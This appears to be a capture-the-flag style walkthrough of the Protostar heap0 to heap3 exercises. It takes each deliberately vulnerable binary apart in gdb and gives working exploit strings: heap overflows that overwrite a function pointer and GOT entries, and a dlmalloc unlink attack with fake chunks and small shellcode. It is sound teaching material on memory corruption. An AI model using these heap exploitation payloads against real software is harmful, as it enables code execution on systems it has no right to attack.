For this scenario we need to run the winner() function. To get a better idea about the binary a look at the assembly helps.
0x08048492 <main+6>: sub $0x20,%esp
0x08048495 <main+9>: movl $0x40,(%esp)
0x0804849c <main+16>: call 0x8048388 <malloc@plt> ; malloc(64)
0x080484a1 <main+21>: mov %eax,0x18(%esp) ; store address
0x080484a5 <main+25>: movl $0x4,(%esp)
0x080484ac <main+32>: call 0x8048388 <malloc@plt> ; malloc(4)
0x080484b1 <main+37>: mov %eax,0x1c(%esp) ; store address
0x080484b5 <main+41>: mov $0x8048478,%edx ; nowinner()
0x080484ba <main+46>: mov 0x1c(%esp),%eax
0x080484be <main+50>: mov %edx,(%eax)
0x080484c0 <main+52>: mov $0x80485f7,%eax ; "data is at %p, fp is at %p\n"
0x080484dd <main+81>: mov 0xc(%ebp),%eax
...
0x080484e0 <main+84>: add $0x4,%eax
0x080484e3 <main+87>: mov (%eax),%eax
0x080484e5 <main+89>: mov %eax,%edx
0x080484e7 <main+91>: mov 0x18(%esp),%eax
0x080484eb <main+95>: mov %edx,0x4(%esp)
0x080484ef <main+99>: mov %eax,(%esp)
0x080484f2 <main+102>: call 0x8048368 <strcpy@plt> ; vulnerable function
0x080484f7 <main+107>: mov 0x1c(%esp),%eax ; load pointer
0x080484fb <main+111>: mov (%eax),%eax ; follow pointer
0x080484fd <main+113>: call %eax ; execute function pointer
So, the binary allocates 64+4 bytes on the heap. Afterwards, the argument is copied into the first allocated memory part. As strcpy does not limit the length, we can write into the second variable. That variable contains a function pointer that is executed afterwards.
So in order to overwrite the function pointer we have to write
user@protostar:/$ /opt/protostar/bin/heap0 $(perl -e 'print "A"x72 . "\x64\x84\x04\x08";')
data is at 0x804a008, fp is at 0x804a050
level passed
Again, we need to run the winner() function. Let’s see what’s going on.
...
0x080484c2 <main+9>: mov DWORD PTR [esp],0x8 ; pass 8
0x080484c9 <main+16>: call 0x80483bc <malloc@plt> ; allocate
0x080484ce <main+21>: mov DWORD PTR [esp+0x14],eax ; store PTR
0x080484d2 <main+25>: mov eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>: mov DWORD PTR [eax],0x1 ; store 1
;
0x080484dc <main+35>: mov DWORD PTR [esp],0x8 ; pass 8
0x080484e3 <main+42>: call 0x80483bc <malloc@plt> ; allocate
0x080484e8 <main+47>: mov edx,eax
0x080484ea <main+49>: mov eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>: mov DWORD PTR [eax+0x4],edx ; store pointer
;
0x080484f1 <main+56>: mov DWORD PTR [esp],0x8 ; pass 8
0x080484f8 <main+63>: call 0x80483bc <malloc@plt> ; allocate
0x080484fd <main+68>: mov DWORD PTR [esp+0x18],eax ; store PTR
0x08048501 <main+72>: mov eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>: mov DWORD PTR [eax],0x2 ; store 2
;
0x0804850b <main+82>: mov DWORD PTR [esp],0x8 ; pass 8
0x08048512 <main+89>: call 0x80483bc <malloc@plt> ; allocate
0x08048517 <main+94>: mov edx,eax
0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx ; store pointer
...
So this time we have four mallocs with 8 bytes each. Also, some kind of counter. The data structure includes an integer as well as a char array.
...
0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc] ; ARG
0x08048523 <main+106>: add eax,0x4 ; ARGV2
0x08048526 <main+109>: mov eax,DWORD PTR [eax] ; resolve pointer
0x08048528 <main+111>: mov edx,eax
0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14] ; load struct1 PTR
0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4] ; PTR+4
0x08048531 <main+120>: mov DWORD PTR [esp+0x4],edx ; pass ARGV1
0x08048535 <main+124>: mov DWORD PTR [esp],eax ; pass struct1[1]
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
;
0x0804853d <main+132>: mov eax,DWORD PTR [ebp+0xc] ; ARG
0x08048540 <main+135>: add eax,0x8 ; ARGV2
0x08048543 <main+138>: mov eax,DWORD PTR [eax] ; resolve pointer
0x08048545 <main+140>: mov edx,eax
0x08048547 <main+142>: mov eax,DWORD PTR [esp+0x18] ; load struct2 PTR
0x0804854b <main+146>: mov eax,DWORD PTR [eax+0x4] ; PTR+4
0x0804854e <main+149>: mov DWORD PTR [esp+0x4],edx ; pass ARGV2
0x08048552 <main+153>: mov DWORD PTR [esp],eax ; pass struct2[1]
0x08048555 <main+156>: call 0x804838c <strcpy@plt>
0x0804855a <main+161>: mov DWORD PTR [esp],0x804864b
0x08048561 <main+168>: call 0x80483cc <puts@plt>
...
And lets take a short look at the heap layout just before the executable terminates.
gdb$ run AAAAAx/20x 0x0804a008
0x804a008: 0x00000001 0x0804a018 0x00000000 0x00000011
0x804a018: 0x41414141 0x41414141 0x00000000 0x00000011
0x804a028: 0x00000002 0x0804a038 0x00000000 0x00000011
0x804a038: 0x42424242 0x42424242 0x00000000 0x00020fc1
In order to exploit the code we have to manipulate the destination address of 2nd strcpy. To do this, we will write 20 bytes with the first argument. By doing this, we can overwrite the pointer in struct2. Next, we need to find a suitable location so we can run winner().
We can overwrite the global address table information of puts.
gdb$ x/i 0x80483cc
0x80483cc <puts@plt>: jmp DWORD PTR ds:0x8049774
gdb$ x/x 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
gdb$ print winner
$1 = {void (void)} 0x8048494 <winner>
With the relevant addresses, we put our exploit to a trial.
user@protostar:/$ /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 ."\x74\x97\x04\x08" ." \x94\x84\x04\x08";')
and we have a winner @ 1409411437
Another option is to overwrite the return address of the stack frame. To do this, we have to overwrite EBP+4 with our target destination. In our case that would be 0xbffff61c.
But with gdb the addresses are slightly off. So with a little trial and error, we get the correct offset 0xbffff62c.
user@protostar:/$ /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 ."\x2c\xf6\xff\xbf" ." \x94\x84\x04\x08";')
and that's a wrap folks!
and we have a winner @ 1409414149
Segmentation fault (core dumped)
This time we have something like a login service. Lets see what the assembly tells about the binary.
...
0x08048940 <main+12>: jmp 0x8048943 <main+15>
0x08048942 <main+14>: nop
0x08048943 <main+15>: mov 0x804b5f8,%ecx ; service
0x08048949 <main+21>: mov 0x804b5f4,%edx ; auth
0x0804894f <main+27>: mov $0x804ad70,%eax ; "[ auth = %p, service = %p ]\n"
0x08048954 <main+32>: mov %ecx,0x8(%esp) ; pass service
0x08048958 <main+36>: mov %edx,0x4(%esp) ; pass auth
0x0804895c <main+40>: mov %eax,(%esp) ; pass format string
0x0804895f <main+43>: call 0x804881c <printf@plt>
...
This is simply the additional information, that should help beginners like us.
...
0x08048964 <main+48>: mov 0x804b164,%eax ; stdin()
0x08048969 <main+53>: mov %eax,0x8(%esp) ; pass stdin
0x0804896d <main+57>: movl $0x80,0x4(%esp) ; pass 120
0x08048975 <main+65>: lea 0x10(%esp),%eax
0x08048979 <main+69>: mov %eax,(%esp) ; pass line
0x0804897c <main+72>: call 0x80487ac <fgets@plt>
;...
So the binary reads up to 120 bytes into a local variable. This is then compared against four keywords: auth, service, reset, login. We will examine the respective parts separately.
0x080489a7 <main+115>: movl $0x4,(%esp)
0x080489ae <main+122>: call 0x804916a <malloc>
0x080489b3 <main+127>: mov %eax,0x804b5f4 ; auth
0x080489b8 <main+132>: mov 0x804b5f4,%eax
0x080489bd <main+137>: movl $0x4,0x8(%esp)
0x080489c5 <main+145>: movl $0x0,0x4(%esp) ; pass 0 - zero out allocated heap
0x080489cd <main+153>: mov %eax,(%esp)
0x080489d0 <main+156>: call 0x80487bc <memset@plt>
0x080489d5 <main+161>: lea 0x10(%esp),%eax ; line
0x080489d9 <main+165>: add $0x5,%eax ; skip "auth "
0x080489dc <main+168>: mov %eax,(%esp)
0x080489df <main+171>: call 0x80487fc <strlen@plt>
0x080489e4 <main+176>: cmp $0x1e,%eax ; less or equal 31 bytes
0x080489e7 <main+179>: ja 0x8048a01 <main+205>
0x080489e9 <main+181>: lea 0x10(%esp),%eax ; line
0x080489ed <main+185>: lea 0x5(%eax),%edx ; skip "auth "
0x080489f0 <main+188>: mov 0x804b5f4,%eax ; auth
0x080489f5 <main+193>: mov %edx,0x4(%esp)
0x080489f9 <main+197>: mov %eax,(%esp)
0x080489fc <main+200>: call 0x804880c <strcpy@plt>^
Auth will allocate 4 bytes on the heap. That memory space will be zeroed out. Afterwards, the string length is checked, excluding the keyword. This is probably done, due to some size restrictions of the destination variable. Then, the user input is copied to the allocated memory.
0x08048a21 <main+237>: mov 0x804b5f4,%eax ; auth
0x08048a26 <main+242>: mov %eax,(%esp)
0x08048a29 <main+245>: call 0x804999c <free>
Reset will free the allocated memory for auth. No security checks are present.
0x08048a4e <main+282>: lea 0x10(%esp),%eax ; line
0x08048a52 <main+286>: add $0x7,%eax ; skip "service"
0x08048a55 <main+289>: mov %eax,(%esp)
0x08048a58 <main+292>: call 0x804886c <strdup@plt>
0x08048a5d <main+297>: mov %eax,0x804b5f8 ; service
Service will simply copy the input string to service. No security checks are present.
0x08048a86 <main+338>: mov 0x804b5f4,%eax ; auth
0x08048a8b <main+343>: mov 0x20(%eax),%eax ; auth+32
0x08048a8e <main+346>: test %eax,%eax
0x08048a90 <main+348>: je 0x8048aa3 <main+367>
0x08048a92 <main+350>: movl $0x804ada7,(%esp) ; pass "you have logged in already!"
0x08048a99 <main+357>: call 0x804883c <puts@plt>
0x08048a9e <main+362>: jmp 0x8048943 <main+15> ; loop
0x08048aa3 <main+367>: movl $0x804adc3,(%esp) ; pass "please enter your password"
0x08048aaa <main+374>: call 0x804883c <puts@plt>
0x08048aaf <main+379>: jmp 0x8048943 <main+15> ; loop
Login will load the auth struct pointer. Then, it adjusts the pointer by 32 bytes. This corresponds to the length check for “auth”. The problem is, that only four bytes are mallocated. This also gives an idea about the most simple solution to solve this level.
A char array for malloc only represents a single pointer. The struct also contains an integer for authentication. Thus malloc allocates eight bytes for the struct. At the same time the char array has a size of 32 bytes. This means, that the integer is located at struct+32. Let’s take a look at the memory layout.
(gdb) x/10x 0x804c008
0x804c008: 0x61616161 0x0000000a 0x00000000 0x00000019
0x804c018: 0x62626220 0x62626262 0x62626262 0x62626262
0x804c028: 0x00000a62 0x00000fd9
The auth struct is stored at 0x804c008. The service variable is stored right after that.
user@protostar:/opt/protostar/bin$ python -c 'print "auth AAAA\n" + "service" + "B" * 16 + "\n" + "login\n"' | /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
[ auth = 0x804c008, service = 0x804c018 ]
This is how we can get a nonzero value at the relevant memory position. Probably the most simple solution to this task.
Let’s examine the assembly of this level right away.
0x08048892 <main+9>: movl $0x20,(%esp) ; pass 32
0x08048899 <main+16>: call 0x8048ff2 <malloc>
0x0804889e <main+21>: mov %eax,0x14(%esp) ; A
0x080488a2 <main+25>: movl $0x20,(%esp) ; pass 32
0x080488a9 <main+32>: call 0x8048ff2 <malloc>
0x080488ae <main+37>: mov %eax,0x18(%esp) ; B
0x080488b2 <main+41>: movl $0x20,(%esp) ; pass 32
0x080488b9 <main+48>: call 0x8048ff2 <malloc>
0x080488be <main+53>: mov %eax,0x1c(%esp) ; C
So the binary allocates three heap variables with 32 byte.
0x080488c2 <main+57>: mov 0xc(%ebp),%eax ; ARGV
0x080488c5 <main+60>: add $0x4,%eax ; ARG1
0x080488c8 <main+63>: mov (%eax),%eax
0x080488ca <main+65>: mov %eax,0x4(%esp)
0x080488ce <main+69>: mov 0x14(%esp),%eax ; A
0x080488d2 <main+73>: mov %eax,(%esp)
0x080488d5 <main+76>: call 0x8048750 <strcpy@plt>
0x080488da <main+81>: mov 0xc(%ebp),%eax ; ARGV
0x080488dd <main+84>: add $0x8,%eax ; ARG2
0x080488e0 <main+87>: mov (%eax),%eax
0x080488e2 <main+89>: mov %eax,0x4(%esp)
0x080488e6 <main+93>: mov 0x18(%esp),%eax ; B
0x080488ea <main+97>: mov %eax,(%esp)
0x080488ed <main+100>: call 0x8048750 <strcpy@plt>
0x080488f2 <main+105>: mov 0xc(%ebp),%eax ; ARGV
0x080488f5 <main+108>: add $0xc,%eax ; ARG3
0x080488f8 <main+111>: mov (%eax),%eax
0x080488fa <main+113>: mov %eax,0x4(%esp)
0x080488fe <main+117>: mov 0x1c(%esp),%eax ; C
0x08048902 <main+121>: mov %eax,(%esp)
0x08048905 <main+124>: call 0x8048750 <strcpy@plt>
0x0804890a <main+129>: mov 0x1c(%esp),%eax
Then the arguments are copied to the allocated memory locations.
0x0804890a <main+129>: mov 0x1c(%esp),%eax ; C
0x0804890e <main+133>: mov %eax,(%esp)
0x08048911 <main+136>: call 0x8049824 <free>
0x08048916 <main+141>: mov 0x18(%esp),%eax ; B
0x0804891a <main+145>: mov %eax,(%esp)
0x0804891d <main+148>: call 0x8049824 <free>
0x08048922 <main+153>: mov 0x14(%esp),%eax ; A
0x08048926 <main+157>: mov %eax,(%esp)
0x08048929 <main+160>: call 0x8049824 <free>
0x0804892e <main+165>: movl $0x804ac27,(%esp)
0x08048935 <main+172>: call 0x8048790 <puts@plt>
Then, the three variables are free()d. And let’s take a look at the heap right after the mallocs.
(gdb) x/8x $esp+0x14
0xbffff654: 0x0804c008 0x0804c030 0x0804c058 0x0804ab50
0xbffff664: 0x00000000 0xbffff6e8 0xb7eadc76 0x00000004
(gdb) x/12x 0x0804c008-8
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c030-8
0x804c028: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c048: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c058-8
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
A good explanation of heap memory management is available in phrack 57 - Once upon a free(). Let’s just sum up the essential parts.
Malloc allocates the number of requested bytes + 8. The layout on the heap of a single chunk looks as follows:
; +----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |M|P|
+----------------------------------+
mem -> | data |
: ... :
+----------------------------------+
nextchunk -> | prev_size ... |
: :
In the above listing M corresponds to the IS_MMAPPED flag. P on the other hand, corresponds to the PREV_INUSE flag.
After free()ing the memory, the unallocated chunks are kept in an double-linked list. The chunk usually includes size and prev_size as well as a pointer forward and backwards.
; +----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |
+----------------------------------+
mem -> | fd |
+----------------------------------+
| bk |
+----------------------------------+
| (old memory, can be zero bytes) |
: :
nextchunk -> | prev_size ... |
: :
With malloc based buffer overflow we can manipulate the heap structure. Subsequently, free()ing utilizes fd an bk pointers to adjust the list. This write allows use to e.g. manipulate the Global Offset Table.
A few aspects have to be taken into consideration:
An generic way to exploit this vulnerability looks as follows:
; +----------------------------------+
retloc -> | \xeb\x0c \x90\x90 |
+----------------------------------+
| \x90\x90\x90\x90 |
: shellcode :
+----------------------------------+
chunk -> | \xff\xff\xff\xfc |
+----------------------------------+
| \xf0 |
+----------------------------------+
mem -> | retloc - 0xc |
+----------------------------------+
| retaddr |
+----------------------------------+
: :
Let’s try this approach.
The trick here is to use a negative value for the previous chunk size. This forces the previous chunk to be calculated after the current chunk while avoiding null bytes. Doing this, basically allows us to introduce a virtual chunk.
To be more precise, we can write 32 bytes to fill up one chunk. Then, we need to append size of previous chunk: 0xfffffffc = -4. Next comes the size of our virtual chunk: 0xf0 = 240. Any size above 64 bytes with the two LSB set to 8 does the trick.
Starting program: /opt/protostar/bin/heap3 AAAA $(perl -e 'print "B"x32 ."\xfc\xff\xff\xff" ."\xf0"') CCCCDDDDEEEE
Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
(gdb) x/12x 0x0804c008-8
0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
(gdb) x/12x 0x0804c030-8
0x804c028: 0x00000000 0x00000029 0x42424242 0x42424242
0x804c038: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c048: 0x42424242 0x42424242 0xfffffffc 0x000000f0
(gdb) x/12x 0x0804c058-8
0x804c050: 0xfffffffc 0x000000f0 0x43434343 0x44444444
0x804c060: 0x45454545 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
(gdb) x/i $eip
0x80498fd <free+217>: mov %edx,0xc(%eax)
(gdb) i r $eax $edx
eax 0x44444444 1145324612
edx 0x45454545 1162167621
Once the free() gets executed it segfaults trying to write to 0x44444444 + 0xc with the value 0x45454545. This was an expected behavior when trying to unlink the third chunk.
The next step is to set the FD and BK pointers correctly. For this exercise, we have to execute the winner() function. To achieve our goal, we can patch the GOT for the puts() call.
user@protostar:/$ objdump -R /opt/protostar/binheap3 | grep puts
0804b128 R_386_JUMP_SLOT puts
user@protostar:/$ objdump -R /opt/protostar/binheap3 | grep -i winner
08048864 g F .text 00000025 winner
So we need to overwrite 0x0804b128 with 0x08048864. The destination address should be adjusted by - 0xc = 0x0804b11c. Let’s see how this works.
Starting program: /opt/protostar/bin/heap3 AAAA $(perl -e 'print "B"x32 ."\xfc\xff\xff\xff" ."\xf0"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x64\x88\x04\x08"')
Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048864
(gdb) x/i $eip
0x8049906 <free+226>: mov %edx,0x8(%eax)
(gdb) i r $eax $edx
eax 0x8048864 134514788
edx 0x804b11c 134525212
So there’s still a problem. During unlinking, also the location of bk+8 is written. This winner function is located in the .text section of the binary and is not writeable. We can try to jump into the first heap chunk and Let’s take a look.
(gdb) r $(perl -e 'print "\xCC"x32') $(perl -e 'print "B"x32 ."\xfc\xff\xff\xff" ."\xf0"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x08\xc0\x04\x08"')
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FD7FF4 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF5F8 ESP: 0xBFFFF5B0 EIP: 0x08049951
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x8049951 <free+301>: mov DWORD PTR [eax+0xc],edx
0x8049954 <free+304>: mov eax,DWORD PTR [ebp-0x18]
0x8049957 <free+307>: mov edx,DWORD PTR [ebp-0x14]
0x804995a <free+310>: mov DWORD PTR [eax+0x8],edx
0x804995d <free+313>: mov eax,DWORD PTR [ebp-0x24]
0x8049960 <free+316>: add DWORD PTR [ebp-0x30],eax
0x8049963 <free+319>: mov eax,DWORD PTR [ebp-0x38]
0x8049966 <free+322>: add eax,0x34
--------------------------------------------------------------------------------
gdb$ x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x0804c008
gdb$ x/12x 0x0804c008-8
0x804c000: 0x00000000 0x00000029 0xcccccccc 0xcccccccc
0x804c010: 0x0804b11c 0xcccccccc 0xcccccccc 0xcccccccc
0x804c020: 0xcccccccc 0xcccccccc 0x00000000 0x00000029
So, the fd-pointer is written. We run into a problem when the third chunk is free()d.
The code branch of free+301 is responsible to keep the pointers in place. In particular, the pointers of next_next chunk are checked
Now we need to fix fd, the pointer to the next chunk.
(gdb) r $(perl -e 'print "\xCC"x32') $(perl -e 'print "B"x16 ."\x01"x4 ."\xff"x4 ."B"x8 ."\xfc\xff\xff\xff" ."\xf0\xff\xff\xff"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x08\xc0\x04\x08"')
(gdb) x/12x 0x0804c008-8
0x804c000: 0x00000000 0x00000029 0xcccccccc 0xcccccccc
0x804c010: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804c020: 0xcccccccc 0xcccccccc 0x00000000 0x00000029
(gdb) x/12x 0x0804c030-8
0x804c028: 0x00000000 0x00000029 0x42424242 0x42424242
0x804c038: 0x42424242 0x42424242 0x01010101 0xffffffff
0x804c048: 0x42424242 0x42424242 0xfffffffc 0xfffffff0
(gdb) x/12x 0x0804c058-8
0x804c050: 0xfffffffc 0xfffffff0 0x43434343 0x0804b11c
0x804c060: 0x0804c008 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
Now the heap is ready and execution stops at 0x804c008. Let’s adjust our code to execute winner().
We need to jump over the invalid bytes at 0x0804c010. A short jump \xeb get’s us where we want. Then, we can push our destination address and finally return to finish this exercise.
(gdb) r $(perl -e 'print "AAAA" ."\xeb\x06" ."\x90"x6 ."\x68" ."\x64\x88\x04\x08" ."\xc3"') $(perl -e 'print "B"x16 ."\x01"x4 ."\xff"x4 ."B"x8 ."\xfc\xff\xff\xff" ."\xf0\xff\xff\xff"') $(perl -e 'print "CCCC" ."\x1c\xb1\x04\x08" ."\x08\xc0\x04\x08"')
that wasn't too bad now, was it? @ 1414895218
Program exited with code 056.